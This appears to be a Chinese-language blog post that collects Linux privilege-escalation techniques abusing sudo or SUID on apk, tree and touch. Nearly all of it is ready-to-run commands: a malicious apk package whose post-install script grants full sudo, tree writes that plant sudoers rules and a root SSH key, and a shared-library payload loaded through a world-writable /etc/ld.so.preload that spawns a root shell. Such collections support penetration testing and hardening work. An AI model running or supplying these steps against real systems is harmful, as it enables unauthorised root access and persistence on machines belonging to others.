suid sudo提权收集

发布于: 2026-07-26 15:08

apk

准备sudo或suid apk环境

apk add sudo
adduser demo
echo 'demo ALL=(ALL) NOPASSWD: /sbin/apk' >> /etc/sudoers.d/demo-apk

构造恶意安装包,准备利用.post-install脚本,在apk安装后会触发执行恶意脚本

mkdir -p /tmp/evil3 && cd /tmp/evil3

cat > post.sh <<'EOF'
#!/bin/sh
# 以 root 身份执行的 payload:给当前用户添加完整 sudo 权限
echo "demo ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/demo-own
chmod 0440 /etc/sudoers.d/demo-own
EOF

chmod +x post.sh

构建合法的 v3 恶意包

apk mkpkg \
  --info "name:evil-pwn" \
  --info "version:1.0.0-r0" \
  --info "arch:x86_64" \
  --script post-install:post.sh \
  --output evil-pwn.apk

sudo apk 安装恶意包

# --allow-untrusted 跳过签名验证
sudo apk add --allow-untrusted /tmp/evil3/evil-pwn.apk

tree

sudo tree 提权

admin@debian:/tmp$ cd /tmp
admin@debian:/tmp$ echo 'ALL ALL=(ALL) NOPASSWD: ALL' > '#a'
admin@debian:/tmp$ sudo /usr/bin/tree --fromfile --noreport -i -N '#a' -o /tmp/b

输出文件第一行会保留读取的文件名,可以通过給文件名加上 # 起到注释作用,在一些按行解析的配置文件里并不是必须的,如 sudoers 、authorized_keys 、passwd、shadow等配置文件按行解析,错误行不影响其他行生效

写入新的 sudo 规则

admin@debian:/tmp$ cd /tmp
admin@debian:/tmp$ echo 'ALL ALL=(ALL) NOPASSWD: ALL' > /tmp/a
admin@debian:/tmp$ sudo /usr/bin/tree --fromfile --noreport -i -N /tmp/a -o /etc/sudoers.d/demo-all

写入公钥

admin@debian:/tmp$ cd /tmp
admin@debian:/tmp$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDb16r5xngn0dEVnW0dVEbc8hO84MvlE3o73qUZo+BJx ssh-ed25519-20260726153337' > /tmp/a
admin@debian:/tmp$ sudo /usr/bin/tree --fromfile --noreport -i -N /tmp/a -o /root/.ssh/authorized_keys

touch

suid touch 提权

touch 默认创建的文件权限是 666,umask 022 的情况下,创建的文件权限是 644,umask 000 的情况下,创建的文件权限是 666,此时可以允许其他用户写入,但常见利用的方案如sudo、cron、ssh会因为权限松散拒绝生效

ld.so.preload在666权限下仍然可以生效,在二进制文件执行前加载执行共享库。此方案适用范围:glibc 系 Linux:Debian、Ubuntu、Kali、CentOS,不适用范围:musl 系 Linux:Alpine

cat > /tmp/pe.c << 'EOF'
// gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
#include <unistd.h>

__attribute__((constructor))
void pwn()
{
    unlink("/etc/ld.so.preload");
    setuid(0);
    setgid(0);
    execl("/bin/sh","sh",(char *)0);
}
EOF

编译生成共享库:

gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles

写入到 /etc/ld.so.preload 文件中

umask 000
./touch /etc/ld.so.preload
cat > /etc/ld.so.preload << 'EOF'
/tmp/pe.so
EOF
su